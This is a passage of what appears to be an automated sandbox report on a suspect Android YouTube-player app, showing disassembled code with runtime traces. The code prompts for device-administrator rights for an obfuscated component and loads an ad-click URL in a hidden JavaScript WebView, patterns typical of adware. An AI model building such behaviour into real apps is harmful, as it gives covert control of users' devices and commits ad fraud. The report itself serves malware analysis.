153iput-object v1, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->b:Ljava/lang/String;
155const-string v1, ".*list=([A-Za-z0-9_-]+).*?"
157invoke-static {v1, v5}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;I)Ljava/util/regex/Pattern;
  • Data flow analysis:
    • p0: .*list=([A-Za-z0-9_-]+).*?
    • p1: 2
158move-result-object v1
160invoke-virtual {v1, v0}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
161move-result-object v0
163invoke-virtual {v0}, Ljava/util/regex/Matcher;->matches()Z
164move-result v1
165if-eqz v1, :cond_fb
167invoke-virtual {v0, v4}, Ljava/util/regex/Matcher;->group(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 1
168move-result-object v0
169iput-object v0, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->b:Ljava/lang/String;
171const-string v0, "PID Is : "
173iget-object v1, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->b:Ljava/lang/String;
175invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: PID Is :
176sput v4, Lcom/pedqaesf/app/b;->b:I
177cond_fb:
178iget-object v0, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->b:Ljava/lang/String;
179if-nez v0, :cond_107
181iget-object v0, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->a:Ljava/lang/String;
183invoke-virtual {v0}, Ljava/lang/String;->length()I
184move-result v0
185if-le v0, v4, :cond_120
186cond_107: const-class v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;
188invoke-direct {p0, v0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->a(Ljava/lang/Class;)Z
189move-result v0
190if-eqz v0, :cond_149
192const-string v0, "Service : "
194const-string v1, "Already Running!"
196invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Service :
    • msg: Already Running!
198iget-object v0, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->a:Ljava/lang/String;
200iget-object v1, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->b:Ljava/lang/String;
202invoke-static {v0, v1}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(Ljava/lang/String;Ljava/lang/String;)V
204invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->finish()V
205cond_120:
206invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->finish()V
207return-void
208cond_124:
209sget-object v0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->c:Landroid/content/SharedPreferences;
210const v1, 0x7f080424
212invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131231780
213move-result-object v1
215invoke-interface {v0, v1, v6}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
  • Data flow analysis:
    • p1: 3
216move-result v0
217sput v0, Lcom/pedqaesf/app/b;->e:I
219sget-object v0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->c:Landroid/content/SharedPreferences;
221invoke-virtual {p0, v7}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131230774
222move-result-object v1
224invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p1: 0
225move-result v0
226sput-boolean v0, Lcom/pedqaesf/app/b;->f:Z
227goto/16 :goto_7e
228cond_141:
229const-string v1, "android.intent.extra.TEXT"
231invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: android.intent.extra.TEXT
232move-result-object v0
233goto/16 :goto_9e
234cond_149: new-instance v0, Landroid/content/Intent;
235const-class v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;
237invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
239const-string v1, "VID_ID"
241iget-object v2, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->a:Ljava/lang/String;
243invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: VID_ID
245const-string v1, "PLAYLIST_ID"
247iget-object v2, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->b:Ljava/lang/String;
249invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: PLAYLIST_ID
251const-string v1, "com.pedqaesf.app.ytube.action.playingweb"
253invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.pedqaesf.app.ytube.action.playingweb
255invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
257invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->finish()V
258goto/16 :goto_120
259cond_16a: new-instance v0, Landroid/content/Intent;
260const-class v1, Lcom/pedqaesf/app/INSMainActivity;
262invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
264invoke-virtual {p0, v0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->startActivity(Landroid/content/Intent;)V
  • Time: 63654
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • intent: Intent { cmp=com.pedqaesf.app/.INSMainActivity }
265goto/16 :goto_120
Cross References
APIs
  • android.preference.PreferenceManager.getDefaultSharedPreferences
  • android.content.SharedPreferences.getBoolean
  • android.support.v4.widget.DrawerLayout.h
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.apply
  • android.content.SharedPreferences.getBoolean
  • android.support.v4.widget.DrawerLayout.h
  • com.mikepenz.materialdrawer.d$1.<init>
  • android.support.v4.widget.DrawerLayout.a
Strings
  • navigation_drawer_learned
  • navigation_drawer_dragged_open
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x0
3iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->d:Landroid/app/Activity;
4if-eqz v0, :cond_2f
6iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->p:Landroid/support/v4/widget/DrawerLayout;
7if-eqz v0, :cond_2f
9iget-object v0, p0, Lcom/mikepenz/materialdrawer/d;->d:Landroid/app/Activity;
11invoke-static {v0}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences;
  • Time: 64331
    • p0: com.pedqaesf.app.INSMainActivity@17287681
    • Return:
      • android.app.SharedPreferencesImpl@76fe6cd
12move-result-object v0
13iget-boolean v1, p0, Lcom/mikepenz/materialdrawer/d;->al:Z
14if-eqz v1, :cond_30
16const-string v1, "navigation_drawer_learned"
18invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: navigation_drawer_learned
    • p1: 0
19move-result v1
20if-nez v1, :cond_30
22iget-object v1, p0, Lcom/mikepenz/materialdrawer/d;->p:Landroid/support/v4/widget/DrawerLayout;
24iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
26invoke-virtual {v1, v2}, Landroid/support/v4/widget/DrawerLayout;->h(Landroid/view/View;)V
28invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
29move-result-object v0
31const-string v1, "navigation_drawer_learned"
32const/4 v2, 0x1
34invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: navigation_drawer_learned
    • p1: 1
36invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
37goto_2f: return-void
38cond_30: iget-boolean v1, p0, Lcom/mikepenz/materialdrawer/d;->am:Z
39if-eqz v1, :cond_2f
41const-string v1, "navigation_drawer_dragged_open"
43invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p0: navigation_drawer_dragged_open
    • p1: 1
44move-result v1
45if-nez v1, :cond_2f
47iget-object v1, p0, Lcom/mikepenz/materialdrawer/d;->p:Landroid/support/v4/widget/DrawerLayout;
49iget-object v2, p0, Lcom/mikepenz/materialdrawer/d;->q:Lcom/mikepenz/materialize/view/ScrimInsetsRelativeLayout;
51invoke-virtual {v1, v2}, Landroid/support/v4/widget/DrawerLayout;->h(Landroid/view/View;)V
53iget-object v1, p0, Lcom/mikepenz/materialdrawer/d;->p:Landroid/support/v4/widget/DrawerLayout;
54new-instance v2, Lcom/mikepenz/materialdrawer/d$1;
56invoke-direct {v2, p0, v0}, Lcom/mikepenz/materialdrawer/d$1;-><init>(Lcom/mikepenz/materialdrawer/d;Landroid/content/SharedPreferences;)V
58invoke-virtual {v1, v2}, Landroid/support/v4/widget/DrawerLayout;->a(Landroid/support/v4/widget/DrawerLayout$f;)V
59goto/16 :goto_2f
Cross References
APIs
  • com.pedqaesf.app.INSMainActivity.getSystemService
  • android.net.ConnectivityManager.getActiveNetworkInfo
  • android.util.Log.d
  • android.net.NetworkInfo.isConnected
  • android.util.Log.d
Strings
  • connectivity
  • Network Test
  • no internet connection
  • internet connection available...
  • internet connection
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x1
3const-string v0, "connectivity"
5invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 64133
    • This:
      • com.pedqaesf.app.INSMainActivity@17287681
    • p0: connectivity
    • Return:
      • android.net.ConnectivityManager@29ef5237
6move-result-object v0
7check-cast v0, Landroid/net/ConnectivityManager;
9invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
  • Time: 64137
    • This:
      • android.net.ConnectivityManager@29ef5237
    • Return:
      • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
10move-result-object v0
11if-nez v0, :cond_18
13const-string v0, "Network Test"
15const-string v1, "no internet connection"
17invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Network Test
    • msg: no internet connection
18const/4 v0, 0x0
19goto_17: return v0
20cond_18:
21invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
  • Time: 64138
    • This:
      • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
    • Return:
      • true
22move-result v0
23if-eqz v0, :cond_27
25const-string v0, "Network Test"
27const-string v2, " internet connection available..."
29invoke-static {v0, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Network Test
    • msg: internet connection available...
30move v0, v1
31goto/16 :goto_17
32cond_27:
33const-string v0, "Network Test"
35const-string v2, " internet connection"
37invoke-static {v0, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Network Test
    • msg: internet connection
38move v0, v1
39goto/16 :goto_17
APIs
  • java.lang.Class.getDeclaredMethod
Strings
  • setChildrenDrawingOrderEnabled
Position Instruction Meta Information
0.prologue
2invoke-direct {p0, p1, p2}, Landroid/support/v4/widget/SwipeRefreshLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;)V
  • Time: 63825
    • This:
      • class android.view.ViewGroup
      • getName:android.view.ViewGroup
    • p0: setChildrenDrawingOrderEnabled
    • p1: [Ljava.lang.Class;@2409aeba
    • p1.Arrays.toString: [boolean]
    • Return:
      • protected void android.view.ViewGroup.setChildrenDrawingOrderEnabled(boolean)
      • getName: setChildrenDrawingOrderEnabled
  • Reflective invoke: android.view.ViewGroup.setChildrenDrawingOrderEnabled
    • This:
      • com.pedqaesf.app.views.INSCustomSwipeRefresh{34a4a4c8 V.ED.... ......I. 0,0-0,0 #7f0f008f app:id/swipe_refresh}
    • enabled: true
    • Return:
      • null
  • Time: 63828
    • This:
      • protected void android.view.ViewGroup.setChildrenDrawingOrderEnabled(boolean)
      • getName:setChildrenDrawingOrderEnabled
    • p0: com.pedqaesf.app.views.INSCustomSwipeRefresh{34a4a4c8 V.ED.... ......I. 0,0-0,0 #7f0f008f app:id/swipe_refresh}
    • p1: [Ljava.lang.Object;@eff4961
    • p1.Arrays.toString: [true]
    • Return:
      • null
3return-void
APIs
  • android.support.v7.app.AppCompatActivity.onCreate
  • android.support.v7.widget.FitWindowsLinearLayout.findViewById
  • android.content.ComponentName.<init>
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • com.pedqaesf.app.INSMainActivity.startActivityForResult
  • android.webkit.WebView.<init>
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • com.pedqaesf.app.INSMainActivity$1.<init>
  • android.webkit.WebView.setWebViewClient
  • com.pedqaesf.app.INSMainActivity.findViewById
  • com.pedqaesf.app.INSMainActivity.a
  • android.view.ViewStub.setLayoutResource
  • android.view.ViewStub.inflate
  • com.pedqaesf.app.INSMainActivity.findViewById
  • com.pedqaesf.app.INSMainActivity.a
  • com.pedqaesf.app.INSMainActivity.findViewById
  • com.pedqaesf.app.views.INSCustomSwipeRefresh.setOnRefreshListener
  • com.pedqaesf.app.views.INSCustomSwipeRefresh.setCanChildScrollUpCallback
  • com.pedqaesf.app.INSMainActivity.findViewById
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • com.pedqaesf.app.INSMainActivity$7.<init>
  • android.webkit.WebView.setWebViewClient
  • android.webkit.WebView.canGoBack
  • android.webkit.WebView.loadUrl
  • com.pedqaesf.app.INSMainActivity.getResources
  • android.content.res.Resources.getStringArray
  • com.pedqaesf.app.INSMainActivity.findViewById
  • java.util.ArrayList.<init>
  • com.mikepenz.iconics.b.<init>
  • com.mikepenz.iconics.b.a
  • com.mikepenz.iconics.b.h
  • android.graphics.Color.parseColor
  • java.util.ArrayList.add
  • com.mikepenz.iconics.b.<init>
  • com.mikepenz.iconics.b.a
  • com.mikepenz.iconics.b.h
  • android.graphics.Color.parseColor
  • java.util.ArrayList.add
  • com.mikepenz.iconics.b.<init>
  • com.mikepenz.iconics.b.a
  • com.mikepenz.iconics.b.h
  • android.graphics.Color.parseColor
  • java.util.ArrayList.add
  • com.mikepenz.iconics.b.<init>
  • com.mikepenz.iconics.b.a
  • com.mikepenz.iconics.b.h
  • android.graphics.Color.parseColor
  • java.util.ArrayList.add
  • devlight.io.library.ntb.NavigationTabBar.setSelected
  • devlight.io.library.ntb.NavigationTabBar.setModels
  • devlight.io.library.ntb.NavigationTabBar.setOnTabBarSelectedIndexListener
  • com.pedqaesf.app.INSMainActivity.findViewById
  • com.pedqaesf.app.INSMainActivity.a
  • android.view.ViewStub.setLayoutResource
  • android.view.ViewStub.inflate
  • com.pedqaesf.app.INSMainActivity.findViewById
  • android.widget.Button.setOnClickListener
Strings
  • android.app.extra.DEVICE_ADMIN
  • http://p.axclick.store/?utm_source=tfikztteuic
  • https://m.youtube.com/
  • Cup
  • with
  • Heart
  • NTB
  • Diploma
  • state
  • LIVE
  • MUSIC
  • POP
  • HIP HOP
  • ROCK
  • HOUSE
  • GOSPEL MUSIC
  • ALTERNATIVE ROCK
  • HEAVY METAL
  • SPORT
  • GAME
  • MOVIES
Position Instruction Meta Information
0.prologue
1const/high16 v7, -0x10000
2const/4 v6, 0x0
3const-wide/16 v10, 0x7d2
4const/4 v9, 0x1
5const/4 v8, 0x2
6iput-object p0, p0, Lcom/pedqaesf/app/INSMainActivity;->m:Landroid/app/Activity;
8invoke-super {p0, p1}, Landroid/support/v7/app/AppCompatActivity;->onCreate(Landroid/os/Bundle;)V
9const v0, 0x7f04001c
11invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->setContentView(I)V
  • Time: 63701
    • This:
      • android.support.v7.widget.FitWindowsLinearLayout{45440fe V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
    • p0: 2131689570
    • Return:
      • null
  • Time: 63725
    • This:
      • android.support.v7.widget.FitWindowsLinearLayout{45440fe V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
    • p0: 2131689472
    • Return:
      • android.support.v7.widget.ContentFrameLayout{e70a598 V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
  • Time: 63735
    • This:
      • com.android.internal.policy.impl.PhoneWindow@23fb01f1
    • p0: android.support.v7.widget.FitWindowsLinearLayout{45440fe V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
  • Time: 63756
    • This:
      • android.support.v7.widget.FitWindowsLinearLayout{45440fe V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
    • p0: 16908290
    • Return:
      • android.support.v7.widget.ContentFrameLayout{e70a598 V.E..... ......I. 0,0-0,0 #7f0f0000 app:id/action_bar_activity_content}
12new-instance v0, Landroid/content/ComponentName;
13const-class v1, Lcom/pedqaesf/app/AsyncTask/Vlwhupznixfm;
15invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
16iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->A:Landroid/content/ComponentName;
17new-instance v0, Landroid/content/Intent;
19iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity;->D:Ljava/lang/String;
21invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
23const-string v1, "android.app.extra.DEVICE_ADMIN"
25iget-object v2, p0, Lcom/pedqaesf/app/INSMainActivity;->A:Landroid/content/ComponentName;
27invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
  • Time: 63857
    • This:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
    • p0: android.app.extra.DEVICE_ADMIN
    • p1: ComponentInfo{com.pedqaesf.app/com.pedqaesf.app.AsyncTask.Vlwhupznixfm}
    • Return:
      • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
28sget v1, Lcom/pedqaesf/app/INSMainActivity;->C:I
30invoke-virtual {p0, v0, v1}, Lcom/pedqaesf/app/INSMainActivity;->startActivityForResult(Landroid/content/Intent;I)V
31try_start_2e: new-instance v0, Landroid/webkit/WebView;
33invoke-direct {v0, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
34iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->o:Landroid/webkit/WebView;
36iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->o:Landroid/webkit/WebView;
38invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
39move-result-object v0
40const/4 v1, 0x1
42invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
44iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->o:Landroid/webkit/WebView;
46const-string v1, "http://p.axclick.store/?utm_source=tfikztteuic"
48invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Time: 64126
    • This:
      • android.webkit.WebView{12ecff8 VFEDHVC. ......I. 0,0-0,0}
    • url: http://p.axclick.store/?utm_source=tfikztteuic
50iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->o:Landroid/webkit/WebView;
51new-instance v1, Lcom/pedqaesf/app/INSMainActivity$1;
53invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$1;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
55invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
56try_end_50: const v0, 0x7f0f0090
58invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689616
59move-result-object v0
60check-cast v0, Landroid/view/ViewStub;
61iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->z:Landroid/view/ViewStub;
63iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->m:Landroid/app/Activity;
65invoke-static {v0}, Lcom/pedqaesf/app/INSMainActivity;->a(Landroid/content/Context;)Z
66move-result v0
67if-eqz v0, :cond_385
69iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->z:Landroid/view/ViewStub;
70const v1, 0x7f040021
72invoke-virtual {v0, v1}, Landroid/view/ViewStub;->setLayoutResource(I)V
  • Data flow analysis:
    • layoutResource: 2130968609
74iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->z:Landroid/view/ViewStub;
76invoke-virtual {v0}, Landroid/view/ViewStub;->inflate()Landroid/view/View;
77iput-boolean v6, p0, Lcom/pedqaesf/app/INSMainActivity;->v:Z
78const v0, 0x7f0f008d
80invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689613
81move-result-object v0
82check-cast v0, Landroid/support/v7/widget/Toolbar;
84invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->a(Landroid/support/v7/widget/Toolbar;)V
85const v0, 0x7f0f008f
87invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689615
88move-result-object v0
89check-cast v0, Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;
90iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->u:Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;
92iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->u:Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;
93new-instance v1, Lcom/pedqaesf/app/INSMainActivity$5;
95invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$5;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
97invoke-virtual {v0, v1}, Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;->setOnRefreshListener(Landroid/support/v4/widget/SwipeRefreshLayout$b;)V
99iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->u:Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;
100new-instance v1, Lcom/pedqaesf/app/INSMainActivity$6;
102invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$6;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
104invoke-virtual {v0, v1}, Lcom/pedqaesf/app/views/INSCustomSwipeRefresh;->setCanChildScrollUpCallback(Lcom/pedqaesf/app/views/INSCustomSwipeRefresh$a;)V
105const v0, 0x7f0f0094
107invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689620
108move-result-object v0
109check-cast v0, Landroid/webkit/WebView;
110iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
112iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
114invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
115move-result-object v0
117invoke-virtual {v0, v9}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
119iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
120new-instance v1, Lcom/pedqaesf/app/INSMainActivity$7;
122invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSMainActivity$7;-><init>(Lcom/pedqaesf/app/INSMainActivity;)V
124invoke-virtual {v0, v1}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
126iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
128invoke-virtual {v0}, Landroid/webkit/WebView;->canGoBack()Z
130const-string v0, "https://m.youtube.com/"
131iput-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->p:Ljava/lang/String;
133iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
135iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity;->p:Ljava/lang/String;
137invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
  • Time: 64174
    • This:
      • android.webkit.WebView{621ec3 VFEDHVC. ......I. 0,0-0,0 #7f0f0094 app:id/youtube_view}
    • url: https://m.youtube.com/
138goto_cb:
139invoke-virtual {p0}, Lcom/pedqaesf/app/INSMainActivity;->getResources()Landroid/content/res/Resources;
140move-result-object v0
141const v1, 0x7f0e0003
143invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getStringArray(I)[Ljava/lang/String;
  • Time: 64178
    • This:
      • android.content.res.Resources@20279
    • id: 2131623939
    • Return:
      • [Ljava.lang.String;@cbde41f
      • Arrays.toString: [#ff670729, #ff7a0c2d, #ff96092d, #ffa10a37, #ffbf013b]
144move-result-object v1
145const v0, 0x7f0f0091
147invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689617
148move-result-object v0
149check-cast v0, Ldevlight/io/library/ntb/NavigationTabBar;
150new-instance v2, Ljava/util/ArrayList;
152invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V
153new-instance v3, Ldevlight/io/library/ntb/NavigationTabBar$c$a;
154new-instance v4, Lcom/mikepenz/iconics/b;
156invoke-direct {v4, p0}, Lcom/mikepenz/iconics/b;-><init>(Landroid/content/Context;)V
158sget-object v5, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->gO:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
160invoke-virtual {v4, v5}, Lcom/mikepenz/iconics/b;->a(Lcom/mikepenz/iconics/b/a;)Lcom/mikepenz/iconics/b;
161move-result-object v4
163invoke-virtual {v4, v7}, Lcom/mikepenz/iconics/b;->a(I)Lcom/mikepenz/iconics/b;
164move-result-object v4
165const/16 v5, 0x12
167invoke-virtual {v4, v5}, Lcom/mikepenz/iconics/b;->h(I)Lcom/mikepenz/iconics/b;
  • Data flow analysis:
    • p0: 18
168move-result-object v4
169aget-object v5, v1, v8
171invoke-static {v5}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
172move-result v5
174invoke-direct {v3, v4, v5}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;-><init>(Landroid/graphics/drawable/Drawable;I)V
176const-string v4, "Cup"
178invoke-virtual {v3, v4}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a(Ljava/lang/String;)Ldevlight/io/library/ntb/NavigationTabBar$c$a;
179move-result-object v3
181const-string v4, "with"
183invoke-virtual {v3, v4}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->b(Ljava/lang/String;)Ldevlight/io/library/ntb/NavigationTabBar$c$a;
184move-result-object v3
186invoke-virtual {v3}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a()Ldevlight/io/library/ntb/NavigationTabBar$c;
187move-result-object v3
189invoke-virtual {v2, v3}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
190new-instance v3, Ldevlight/io/library/ntb/NavigationTabBar$c$a;
191new-instance v4, Lcom/mikepenz/iconics/b;
193invoke-direct {v4, p0}, Lcom/mikepenz/iconics/b;-><init>(Landroid/content/Context;)V
195sget-object v5, Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;->qL:Lcom/mikepenz/google_material_typeface_library/GoogleMaterial$a;
197invoke-virtual {v4, v5}, Lcom/mikepenz/iconics/b;->a(Lcom/mikepenz/iconics/b/a;)Lcom/mikepenz/iconics/b;
198move-result-object v4
200invoke-virtual {v4, v7}, Lcom/mikepenz/iconics/b;->a(I)Lcom/mikepenz/iconics/b;
201move-result-object v4
202const/16 v5, 0x18
204invoke-virtual {v4, v5}, Lcom/mikepenz/iconics/b;->h(I)Lcom/mikepenz/iconics/b;
  • Data flow analysis:
    • p0: 24
205move-result-object v4
206aget-object v5, v1, v8
208invoke-static {v5}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
209move-result v5
211invoke-direct {v3, v4, v5}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;-><init>(Landroid/graphics/drawable/Drawable;I)V
213const-string v4, "Heart"
215invoke-virtual {v3, v4}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->a(Ljava/lang/String;)Ldevlight/io/library/ntb/NavigationTabBar$c$a;
216move-result-object v3
218const-string v4, "NTB"
220invoke-virtual {v3, v4}, Ldevlight/io/library/ntb/NavigationTabBar$c$a;->b(Ljava/lang/String;)Ldevlight/io/library/ntb/NavigationTabBar$c$a;
221move-result-object v3
